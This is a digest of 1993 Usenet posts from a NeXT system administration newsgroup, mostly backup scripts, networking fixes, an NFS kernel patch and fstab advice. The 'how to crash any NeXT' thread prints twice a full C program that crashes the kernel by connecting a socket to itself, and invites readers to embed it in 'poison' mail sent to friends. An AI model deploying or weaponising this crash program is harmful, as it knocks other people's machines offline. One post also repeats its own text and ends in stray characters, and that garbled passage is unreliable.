From: bosborne@nature.BErkeley.EDU Newsgroups: comp.sys.next.sysadmin Subject: Re: gnutar example Date: 29 May 1993 00:55:07 -0400 Organization: The Ohio State University Sender: daemon@magnus.acs.ohio-state.edu Message-ID: <9305290454.AA27118@nature.berkeley.edu.cnr-net> Previously I wrote : >> To the group, >> >> Please excuse my beginner's question, but my explorations have not >> yielded any answers to this problem. I would like to use gnutar to >> do an incremental backup to my tapedrive. Could someone supply an >> example command to me? gnutar backs up, but ignore '+update' no >> matter where I put it. Please respond to my address, and I will >> gladly summarize to the group (or is this just _too_ elementary :-). >> >> Thank you for your attention to this matter, Thank you Tim, Magnus, and Dave, for your responses. Here they are : FROM: imsgtcar@sinc.oscs.montana.edu (Tim Carlson) (comp.unix.admin) Here is a simple shell script that I use to do incremental tar backups of my /usr/user1 directory. So I use the +newer option to grab files that need to be archived. Hope this helps... : mt rewind dow=`date +%w` mt -f /dev/nrmt0h fsf $dow olddate=`cat /usr/local/etc/dumpdate` /usr/local/bin/gnutar +newer "$olddate" -cf /dev/nrmt0h /usr/user1 echo "incremental dump done on `date`" | mail imsgtcar date > /usr/local/etc/dumpdate -- Tim Carlson ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FROM: Magnus Nordborg <magnus@fisher.Stanford.EDU> (comp.sys.next.sysadmin) Here is a script I use: #! /usr/local/bin/tcsh -f # # Incremental backups that put level-0 on tape on a remote host, and puts # the other levels (compressed) as file on disk on the same host. # ### Variables to modify set TAPE_HOST = kimura set DEVICE = /dev/nrst0 set REMOTE_DIR = /u/magnus/Backup set OPERATOR = magnus set DIRECTORY_LIST = ( / /local ) set BACKUP_DIR = /usr/local/etc/tar-backup ### For the "-z" option of tar to work under cron set path = ( /usr/local/bin ) ### Small things set script = $0 set script = $script:t ### Checks set logfile = ${BACKUP_DIR}/${script}.log if ( -e $logfile ) then echo "$logfile already exists\! $0 failed." | /bin/tee -a $logfile /bin/date | /bin/tee -a $logfile goto fail endif if ( $#argv != 1 ) goto usage if ( $argv[1] !~ [0-9] ) goto usage ### Start doing things foreach dir ( $DIRECTORY_LIST ) if ( "$dir" == "/" ) then set dirname = root else set dirname = `echo $dir | /bin/awk -F/ '{print $NF}'` endif set label = "Level $argv[1] backup of ${HOST}:$dir on `/bin/date`." echo "${label}.." | /bin/tee -a $logfile set day = `/bin/date | /bin/awk '{print $2 "-" $3 "-" $6 }'` set new_increm_file = ${BACKUP_DIR}/${HOST}:${dirname}-level-${argv[1]} if ( $argv[1] ) then # NOT a full (level 0) backup @ level = $argv[1] @ level-- set tape_file = ${REMOTE_DIR}/${HOST}:${dirname}-level-${argv[1]}-${day}.z set increm_file = ${BACKUP_DIR}/${HOST}:${dirname}-level-$level /bin/cp $increm_file ${increm_file}.tmp /usr/local/bin/tar -c -f ${TAPE_HOST}:"$tape_file" \ -g ${increm_file}.tmp -l -p -S -V "$label" -z $dir |& /bin/tee -a $logfile if ( $status ) then echo "tar failed\!" | /bin/tee -a $logfile goto fail else echo "tar succeded\!" | /bin/tee -a $logfile /bin/mv ${increm_file}.tmp $new_increm_file set files = `/usr/ucb/rsh ${TAPE_HOST} "/usr/bin/ls -c ${REMOTE_DIR}/*${dirname}-level-${argv[1]}*"` @ i = 2 while ( $i <= $#files ) echo "Removing $files[$i] on ${TAPE_HOST}." | /bin/tee -a $logfile /usr/ucb/rsh ${TAPE_HOST} "/bin/rm $files[$i]" |& /bin/tee -a $logfile @ i++ end endif else # Full (level 0) backup set tape_file = ${DEVICE} /usr/local/bin/tar -c -b 100 -f ${TAPE_HOST}:"${tape_file}" \ -g ${new_increm_file}.tmp -l -p -S -V "$label" $dir |& /bin/tee -a $logfile if ( $status ) then echo "tar failed\!" | /bin/tee -a $logfile goto fail else echo "tar succeded\!" | /bin/tee -a $logfile /bin/mv ${new_increm_file}.tmp $new_increm_file endif endif end /usr/ucb/Mail -s "Output from $0" $OPERATOR < $logfile /bin/rm -f $logfile exit 0 usage: echo "Usage: $0 level" | /bin/tee -a $logfile fail: /usr/ucb/Mail -s "$0 failed\!" $OPERATOR < $logfile exit 1 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ From: David Meyer <dmm0t@rincewind.mech.virginia.edu> (comp.sys.next.sysadmin) I had a similar problem, which I solved by using "find" in conjunction with gnutar. Basically what I use now to back up /Users is cd /Users find . -mtime -1 -xdev -type f ! -name *.o -print > /tmp/backup-list gnutar -cf /tmp/backup.tar -T /tmp/backup-list It's lo-tech, but it works. Dave ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hope these are useful to others as they are to me! ------------------------------------------------------------ Brian Osborne Plant Gene Expression Center bosborne@insect.berkeley.edu Albany CA USA ------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: sam@musical.fdn.org (Sam Przyswa) Subject: Re: autonfsmount dies / SLIP problem Message-ID: <1993May28.195853.6772@musical.fdn.org> Sender: sam@musical.fdn.org Organization: Rock'n Jazz BBS - (The Music Land) References: <36227@oasys.dt.navy.mil> Date: Fri, 28 May 1993 19:58:53 GMT In article <36227@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch) writes: > > No one on the net sent me any answers, but I found the solution to my > problem with the help of another local NeXT programmer. The answer was > quite simple. The host name and IP address of the system wasn't in > netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the > name and address to netinfo but it doens't. You have to do it by > hand. > Hi Curt, I have the same problem and my /etc/hosts is like that... -------------------------- # 192.42.172.1 musical 192.42.172.2 client1 192.42.172.3 client2 192.42.172.4 client3 192.42.172.5 client4 192.42.172.6 client5 192.42.172.7 client6 192.42.172.8 client7 192.42.172.9 client8 # # This is the reserved address for the loopback interface. Don't muck # with it. # 127.0.0.1 localhost --------------------------- Where is the mistake ??? Sam -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sam Przyswa << Rock©n Jazz BBS >> E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102 --<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies! Message-ID: <1993May29.123822.6621@csus.edu> Followup-To: comp.sys.next.sysadmin Sender: news@csus.edu Organization: San Francisco State University References: <1993May28.180158.389@instep.wimsey.bc.ca> Date: Sat, 29 May 1993 12:38:22 GMT In article <1993May28.180158.389@instep.wimsey.bc.ca> brad@instep.wimsey.bc.ca writes: >The first few lines of the /etc/hosts file it says the following: ># NOTE: This file is never consulted if NetInfo or Yellow Pages is ># running. >I've been trying all day to get the following syslog daemon configuration >file (on host whiterock) to work: >local1.debug @vancouver >local2.debug @vancouver >When syslogd starts up it says it can't find host vancouver. Okay, why >not? Well, it starts up as an early daemon, so perhaps netinfo isn't >available at the time syslogd needs the host information. That would seem >logical. If you look at /etc/rc, you'll see that syslogd starts up long before either NIS or NetInfo are available. So it's pretty obvious that any hosts referenced in /etc/syslog.conf need to be identified in /etc/hosts. > So, I send syslogd a HUP signal which causes it to re-read its >configuration file. There, that ought to take care of it... Nope! Hmm... >Still no logging is taking place on host vancouver. >That's when I call bullshit to the _NOTE_ in /etc/hosts file. Is lookupd running at that point? Does starting syslogd with the -d option produce any meaningful diagnostic output? >Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of >UNIX and its collection of very useful tools, and learn to respect that >POWER by leaving well enough alone what they do not fully understand. Uh, yeah. What does Sun do? They start syslogd late, preceded by a comment that begins # syslogd doesn't belong here, but needs to be started before the others. No kidding! Not only are startup problems not logged, but this arguably introduces a potential security vulnerability. I just don't see any major problem--and in any case, there's nothing wrong with /etc/hosts, or its embedded comment. I could suggest NeXT eliminate any ambiguity by calling _old_gethostbyname() [or worse?] ... does it really make sense to compromise syslogd's self-sufficiency? syslogd is a can of worms. I doubt much good comes from opening it. And be careful what you wish for--it could go away and be replaced by "NEXTLOG with Portable Distributed Objects Support" which they'd later sell to a third party (and make you pay extra for). Anyway, this complaint sounds more like "pilot error" than anything else. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: How to set Disk Quotas on NS 3.x? Message-ID: <1993May29.153834.15553@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Sat, 29 May 1993 15:38:34 GMT I was looking forward to setting BSD-type disk quotas on selected user accounts yesterday. I set up the /etc/fstab with quota substituting for no quota on a single disk, for testing purposes, you see, but there appear to be none of the BSD utilities on disk quotaing. I hope I am missing something. Am I? Thanks -- | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library j.rosenfeld@csuohio.edu
Newsgroups: comp.sys.next.sysadmin From: kenny@niagara.ucs.ualberta.ca (Kenny Leung) Subject: Banner pages Message-ID: <1993May29.180742.21399@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Sat, 29 May 1993 18:07:42 GMT Hi All. I am trying to get banner pages to print on the NeXT printer, but having no luck. I have made th e necessary changes to both the printcap entry and /usr/lib/transcript/psint.sh, and nothing. Has anyone done this before? Please shed some light on the subject. -- ------------------------------------------------------- Kenny Leung University of Alberta kenny@niagara.ucs.ualberta.ca Ph: 403-492-9343 Fax: 403-492-1729
From: mrc@Ikkoku-Kan.Panda.COM (Mark Crispin) Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin Subject: how to crash any NeXT Message-ID: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> Date: 29 May 93 04:37:50 GMT Article-I.D.: Ikkoku-K.MS-C.738700670.662824084.mrc Organization: University of Washington MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The following little program will crash any NeXT. It was posted on comp.protocols.tcp-ip, and a short while later a bugfix was also posted. So, people on other operating system platforms are fixing their kernels. But because of NeXT's cretinous policy of no source distributions, people with NeXTs can't fix it themselves. Will NeXT offer a fix in 3.1? Hardly. 3.2? Doubtful. 4.0? Perhaps. I leave it as an exercise to the reader to figure out how to encapsulate this program in a poison NeXTmail or NewsGrazer message to send to (soon to be former) friends. [It isn't as if this is the only ``crash any system'' program that has come about. It's just the latest.] #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> main() { struct sockaddr_in server; int s, length; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); exit(1); } bzero(&server, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(0); if (bind(s, &server, sizeof(server)) < 0) { perror("bind"); exit(1); } length = sizeof(server); if (getsockname(s, &server, &length) < 0) { perror("getsockname"); exit(1); } printf("local: addr %s port %d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port)); server.sin_addr.s_addr = inet_addr("127.0.0.1"); printf("connecting: addr %s port %d\n", inet_ntoa(&server.sin_addr), ntohs(server.sin_port)); if (connect(s, &server, sizeof(server)) < 0) { perror("connect"); } exit(0); }
From: thor@sushi.uib.no Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.dcom.modems Subject: SLIP is up, News works, _Mail_ chokes... Keywords: SLIP, slip, sendmail, mail Message-ID: <1993May29.204855.7265@alf.uib.no> Date: 29 May 93 20:48:55 GMT Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Hi kids! Well, my SLIP connection is taking form. Now I can ping, telnet, rlogin, ftp, etc etc etc over the whole world without problems. I have even received mail sent from my University acount to my home machine (I'm registered in the NIS database now), and am sitting and reading NetNews via NewsGrazer at this moment. Life is good :-) One thing that isn't working 100% yet is mail from my home machine out to that world. I have read all I can find on sendmail, and have tried running both mail and sendmail by hand - that works, the mailhost accepts my machine and user as valid and everything goes O.K. However, if I type: sushi> mail joe@site.edu I get an error message. The same happens when I use Mail.app. Here is a short transcript of the error message from the mailhost: ----- Transcript of session follows ----- 550 edb (ether)... 550 Host unknown 554 Thor Legvold <T.Legvold@edb.uib.no>... 550 Host unknown (Valid name but no A or MX record) ----- Unsent message follows ----- (This is the usual message I get) And here is what happened when I tried with a slightly different address (one that really shouldn't work, but sometimes does anyway ;-) ----- Transcript of session follows ----- While connected to mailhost: >>> MAIL From:<thor@sushi> <<< 501 Unknown domain 'sushi' 554 edmtl@uib.no... 554 Remote protocol error ----- Unsent message follows ----- I'm going to take a look at sendmail.cf, but thats a type of Wizardry I'd rather not learn... ;-) (Writing disktabs was enough excercise, and both a humbling and learning Unix experience :-) If anyone has (knowlegable) advice, please e-mail. Just for kicks, try thor@sushi.uib.no in the Cc: field just to see if it gets through. My regular (i.e. stable :-) mail address is: edmtl@edb.uib.no. Regards, Thor "No problem, this one's only _two_ partitions..." Legvold
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin Subject: Re: how to crash any NeXT Message-ID: <OLEG.93May29160355@gd.cs.CSUFresno.EDU> From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) Date: 29 May 93 16:03:55 References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> Organization: Computer Science Departement of California State University inFresno In-reply-to: mrc@Ikkoku-Kan.Panda.COM's message of 29 May 93 04:37:50 GMT In article <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> mrc@Ikkoku-Kan.Panda.COM (Mark Crispin) writes: The following little program will crash any NeXT. It was posted on comp.protocols.tcp-ip, and a short while later a bugfix was also posted. So, people on other operating system platforms are fixing their kernels. But because of NeXT's cretinous policy of no source distributions, people with NeXTs can't fix it themselves. Will NeXT offer a fix in 3.1? Hardly. 3.2? Doubtful. 4.0? Perhaps. I leave it as an exercise to the reader to figure out how to encapsulate this program in a poison NeXTmail or NewsGrazer message to send to (soon to be former) friends. [It isn't as if this is the only ``crash any system'' program that has come about. It's just the latest.] It also worked on a Sun! Oleg #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> main() { struct sockaddr_in server; int s, length; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); exit(1); } bzero(&server, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(0); if (bind(s, &server, sizeof(server)) < 0) { perror("bind"); exit(1); } length = sizeof(server); if (getsockname(s, &server, &length) < 0) { perror("getsockname"); exit(1); } printf("local: addr %s port %d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port)); server.sin_addr.s_addr = inet_addr("127.0.0.1"); printf("connecting: addr %s port %d\n", inet_ntoa(&server.sin_addr), ntohs(server.sin_port)); if (connect(s, &server, sizeof(server)) < 0) { perror("connect"); } exit(0); }
Newsgroups: comp.sys.next.sysadmin From: jland@lodge.nwu.edu (John Landwehr) Subject: Re: SLIP and PPP experiences Message-ID: <1993May30.015124.2705@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA References: <1993May28.012932.4382@frogware.com> Date: Sun, 30 May 1993 01:51:24 GMT In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben Bernhard) writes: > I'm considering setting myself up with a slip or ppp connection to the > office. I'd like to hear about your experiences. Check out my paper at sonata.cc.purdue.edu: /pub/next/docs/SLIP_PPP_Paper.ps.Z It should answer many of your questions... -- John Landwehr NeXT Campus Consultant, Chicago 708-864-7811 jland@nwu.edu
Newsgroups: comp.sys.next.sysadmin From: UC512052@mizzou1.missouri.edu (David K. Drum) Subject: Oops! How to recover rm'ed files? (please!) Message-ID: <16BDD12784.UC512052@mizzou1.missouri.edu> Sender: nobody@ctr.columbia.edu Organization: University of Missouri Date: Sun, 30 May 1993 02:00:52 GMT Are there any handy or not so handy utilities I can obtain to try to recover some deleted files? The machine in question is OFF, so nothing should have been written to the disk. Thanks, David K. Drum uc512052@mizzou1.missouri.edu
Newsgroups: comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: Re: SLIP and PPP experiences Message-ID: <1993May30.050239.5370@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1993May28.012932.4382@frogware.com> Date: Sun, 30 May 1993 05:02:39 GMT In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben Bernhard) writes: > I'm considering setting myself up with a slip or ppp connection to the office. > I'd like to hear about your experiences. I've used, to one extent or another, the following three packages: L. Mamakos public domain SLIP implementation. Marble Teleconnect SLIP MorningStar PPP (and SLIP, compressed SLIP) Mamakos' PD offering is what I use currently at home. It's available on cs.orst.edu and sonata.cc.purdue.edu. It's not for the faint of heart to install but it works well. Compressed slip is an extra cost option. I've helped others with Marble Teleconnect so I have little experience with it. I.E. The setup was quite easy _if_ you understand networking. Their book looked good. This was the only one of the three with a NEXTSTEP user interface. NeXTConnection sells it. I've used MorningStar's PPP quite a bit at work. It's pricey but you definitely get what you pay for in both features and support. These guys gave me their home phone numbers when I had a problem on a Friday afternoon! Simply great software. Email to info@morningstar.com for info. > > Speed issues are especially important- Is it reasonable to mount the remote > file system? Two issues arise here. Speed and reliability. Speed can be slow given the combination of how NFS works and the fact the NEXTSTEP does lots of file system stat operations. Ftp looks better in a big hurry! Reliability is more important in that NFS by default uses UDP packets. TCP packets are needed over slip (if you have a writable file system) to keep from corrupting files. > What additional utilities will I need & where can I get them? None. Gary Chang puts out a package named SLIPCommander that I haven't tried yet (he'll kill me...long story). Check out the ftp sites mentioned above. > Does it take much effort to maintain once set up? No more than anything else. You'll tune it at the start to get the fastest call set up time but then it'll just work. Paul Verket (NeXTmail ok)
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: SunOS/Solaris NFS mounted drives - BUG? Date: 30 May 1993 03:08:39 -0500 Organization: University of Illinois at Urbana Message-ID: <1u9q2l$738@ux1.cso.uiuc.edu> References: <1993May27.201738.3213@linus.mitre.org> jblue@ocotillo.mitre.org (Jason D. Blue) writes: >I remember reading at some point of a bug that appears when NeXT >writes to NFS mounted SUN devices. Can anyone provide more details >(i.e. what version of NEXTSTEP effected, patches, etc.) The one I have seen is that when a Sun disk is nfs mounted onto a NeXT machine in 2.x, 'touch'ing a 0 byte file on that remote disk on the NeXT doesn't actually change the date. As far as I know, this was fixed in 3.0. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.dcom.modems From: thor@sushi.uib.no Subject: Re: SLIP is up, etc... Message-ID: <1993May30.114333.7985@alf.uib.no> Keywords: SLIP, sendmail, PPP Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Date: Sun, 30 May 93 11:43:33 GMT Hi again. Thanks for all the replies. Unfortunately, all the replies were asking for similar help :-) I am in the middle of writing a SLIP autobiography, and documenting how SLIP may be set up for those who aren't NetGods or network Wizards. This paper is primarily aimed at people who are setting up the server end of things, primarily because that is where I've been having problems, and that is the end where I have found about _no_ documentation - everything simply says "see/ask your sysadmin about setting up/finding out about SLIP/PPP". That doesn't help me when _I_ have to set things up (as a part time sysadmin :-) I have received lots of knowledgeable and friendly help, advice, tips, etc in the proper configuration of SLIP/PPP, and have (with the various individuals permission) already began work to put all this together into a somewhat comprehensive installation guide. I hope to have a rough copy available to those in need :-) within a week. I hope it's helpful. If anyone needs specific advice _now_ (i.e. you just can't wait a week) e-mail me and I'll see if I can help :-) Regards, Thor -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no says "see/ask your sysadmin about setting up/finding out about SLIP/PPP". That doesn't help me when _I_ have to set things up (as a part time sysadmin :-) I have received lots of knowledgeable and friendly help, advice, tips, etc in the proper configuration of SLIP/PPP, and have (with the various individuals permission) already began work to put all this together into a somewhat comprehensive installation guide. I hope to have a rough copy available to those in need :-) within a week. I hope it's helpful. If anyone needs specific$BY$(J
Newsgroups: comp.sys.next.sysadmin From: phgp051@chpc.utexas.edu (Pranab Das) Subject: Need info on installing rn, trn or similar Message-ID: <1993May30.213055.2318@chpc.utexas.edu> Organization: The University of Texas System - CHPC Date: Sun, 30 May 93 21:30:55 GMT Recently another poster asked if there might be a FAQ on installing some term-based newsreader. Unfortunately, I didn't catch the response. Any help including location of source code and installation instructions would be most appreciated. Pranab
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: Newsgrazer posting Message-ID: <1993May29.224528.2859@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1993May27.185129.2448@frogware.com> Date: Sat, 29 May 1993 22:45:28 GMT In article <1993May27.185129.2448@frogware.com> ben@frogware.com (Ben Bernhard) writes: > Finally figured it out, I needed to add myself (the ben user, and any others > that should be able to post) to the "news" group- just used user manager. > If this is a bad idea, and there is a better way to do this, somebody pls tell > me! Make the inews-program setuid news. Because it's a shell script, that should be a security leak ! :-) -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin From: kjell@oops.se (Kjell Nilsson) Subject: My external disk changes owner Message-ID: <1993May30.222427.548@oops.se> Sender: kjell@oops.se Organization: OOPSart - ObjectWareHouse Date: Sun, 30 May 1993 22:24:27 GMT Hi Is there somebody that could help me with this. I have an external harddisk which I call /Nitro in the fstab. In the manual it says that if I have mounted it with an entry in the fstab it should be possible to chance owner and so on. So I can but after a while it gets change back to the user I am logged in to. And it changes group to nogroup. Why???? This may be a FAQ but I have not access to FAQ:s. This may also be a RTFM but I have looked all over, believe me. This is the entry in the fstab # /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd3a /Nitro 4.3 rw,noquota,noauto 0 2 I have also a scsi floppy and a cdrom, that is why I assign /Nitro to /dev/sd3a. Thanks in advance. Kjell Nilsson OOPSart - ObjectWareHouse
Newsgroups: comp.sys.next.sysadmin From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) Subject: Re: SunOS/Solaris NFS mounted drives - BUG? Message-ID: <1993May31.041418.706@blabel.ppp.informatik.uni-muenchen.de> Organization: Home of BlackLabel References: <1993May27.201738.3213@linus.mitre.org> Date: Mon, 31 May 1993 04:14:18 GMT >jblue@ocotillo.mitre.org (Jason D. Blue) writes: >I remember reading at some point of a bug that appears when NeXT >writes to NFS mounted SUN devices. Can anyone provide more details >(i.e. what version of NEXTSTEP effected, patches, etc.) > I posted this a while ago. We had this problem with NS3.0 (not tested with <3.0 or with SunOS). The patch below also did it for Mike Matthews : ========================================================================= matthews@oberon.umd.edu (Mike Matthews) writes: >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's >mounting it as /usr/spool/mail, and that part seems to work OK. > >The problem is, even though the sendmail.cf file (which is a main.cf file >with the asked-for values) specifies mode 0600 for the files, they come out >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure. >2) what's up with mail? I have no idea what's going on there. Ok, we had the same problems here with Solaris 2.1 as a file server for our NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong filemode for that file. All bits are set. After tracing the network traffic it was clear. Whats going on?? In NFS the attributes of a file are transferred in structure called fattr. All entries in this structure which should not be modified in a set attributes NFS call (NFSPROC_SETATTR) have to be -1. This is also valid for the the vnode (virtual node) file mode structure (vattr) of the physical filesystem. The attribute structure is converted from the vnode attributes (vattr) to the NFS structure (sattr). In vattr the mode field is u_short in sattr it is u_long (32bit int's as god intended int's to be). Seems to be no problem. But the vattr_to_sattr routine in Mach 'converts' the -1 (16bit) to a -1 (also 16bit)... Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992). I don't know if there is also a problem with 2.1, but I think a similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!]. [binpatch it with 'binpatch -f nfspatch.binpatch /sdmach' after making a backup from your /sdmach] nfspatch.binpatch: 256163 61 41 256166 2 0 [this patches a 'movew a2,a0@(0x2:w)' to a 'movel a2,a0@(0x0:w)'] binpatch is available from ftp.informatik.uni-muenchen.de in /pub/next/Tools/hack/. This patch works for us, but remember: I am not responsible for any damage you cause to your filesystem with this patch. You use this patch on your own risk!!! ========================================================================= There is also a bug in the NFS implementation of Solaris (a posting from Robert Stabl <stabl@informatik.uni-muenchen.de>): ========================================================================= In article <1s5kjn$q2j@news.cs.tu-berlin.de> doko@cs.tu-berlin.de (Matthias Klose) writes: > I am not sure if this is a bug in the NeXTstep Window Manager or a > unknown feature/bug in the NFS implementation of Solaris. > > If a directory sun:/export/next/LocalApps is mounted on the NeXT in > /LocalApps, the FileViewer shows in BrowserMode a directory loop after > the second directory: /LocalApps/DemoApp.app/Dir/Dir/Dir ... > However there is no loop if I open a shell window and change to this > directory. > > I have got a message (probably) describing the problem; can you tell > me on which side the problem lays and/or it is resolved in NS3.1? > That's probably the case: > > Patch-ID# 100939-01 > Keywords: wrong file size full file system nfs module fs server mount readdir NF > S > Synopsis: SunOS 5.1: Fixes to NFS module > Date: Mar/19/93 We had the same problem. It is fixed by the above mentioned patch on the Solaris (SUN) side. But remember that there is a severe bug in the NeXT NFS implemenation when performing a chown system call on a mounted Solaris file system on the NeXT side. To fix this bug we had to patch the NeXT kernel. ========================================================================= After applying these two patches on both sides (arg...) the NFS mounts on our NeXTs run quite fine... cb -- [ Christian Baur, Muenchen-Germany | Suicide is an urban disease ] [ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Configuring an old Hayes 1200 modem on an 030 cube Message-ID: <8808@ucsbcsl.ucsb.edu> Date: 30 May 93 05:06:19 GMT Sender: news@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.misc Organization: Center for Computer Music Research and Composition, U.C.S.B. I am trying to set up one of the people in our studio with an old Hayes Smartmodem (1200 Baud) on an 030 Cube. I have given them one of the Mac modem cables that I used when I had an 030 cube which worked great with my 2400 baud Hayes-compatible modem. When I tested my modem on this person's cube, it worked fine with this cable, but when I connect up their modem and attempt to access it via tip or kermit, I get the "device busy" message. This person's modem does not appear to have any non-volatile memory; it does not understand any of the AT& commands for setting registers, so I cant find any way to change how what it does with carrier-detection or DSR. It is my guess that it is somehow setting these permenantly on (it was being used with an old dumb terminal) and this is why the NeXT device thinks it is busy. One final thing: this older modem worked with an 040 cube using the 040-style modem cables. That doesnt help me on the 030, though. Any suggestions on what might be wrong and how it could be fixed? Thanks in advance! -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt) Newsgroups: comp.sys.next.sysadmin Subject: A NOVICE SEEKS ADVICE... Date: 31 May 1993 04:44:26 -0700 Organization: University of Southern California, Los Angeles, CA Sender: nntp@phakt.usc.edu Distribution: world Message-ID: <1ucr2qINN32n@phakt.usc.edu> I have used the net on several occasions as a resource and have always been very impressed by the amount of knowledge users are willing to share... So, this one should be a no-brainer for most of you! I recently revamped our NeXT net at work (a small five machine net), upgrading the machines, etc...I also restructured the whole thing so that everything made more sense (things were quite a mess!)... My question is...Our firm is a public relations firm, so we have serious volume when it comes to files...word processor...spread-sheet...etc...Currently I have a shared folder that all of the users can see...In that folder are folders that cover everything from office policy to tradeshows to clients...The clients folder is then divided again into individual clients, etc... My question is this...I have a solid (but basic) working knowledge of UNIX... Most of what I have learned about networking has come from doing...In order to keep every file accessable to every user, permissions need to be changed occasionally...When someone creates a new file, there are sometimes problems with others reading it, etc...To make this easier on the users, should I make sure that they are all in a group together or should I write a shell script that goes through every night and changes permissions at a certain time? Or am I clueless??? Any advice would be much appreciated!!! Thanks! -Rob Please respond to: rwyatt@ata.com (NeXTmail of course!)
Newsgroups: comp.sys.next.sysadmin From: kjell@oops.se (Kjell Nilsson) Subject: Sum: My external disk changes owner Message-ID: <1993May31.123554.1051@oops.se> Sender: kjell@oops.se Organization: OOPSart - ObjectWareHouse References: <1993May30.222427.548@oops.se> Date: Mon, 31 May 1993 12:35:54 GMT Thanks to Kjell Lundesten, Magnus Nordborg and Steve Hayman for answering my question. All of them answer that I should omit the noauto. Because then the HD will not be mounted until someone login. And that someone will have the ownership of the HD. So the NeXT manual is wrong at page 185 in"NeXTSTEP Network and System Administration" manual. It should read /dev/sdna /mount_point 4.3 rw,noquota 0 2 Hope this helps someone else! Kjell Nilsson
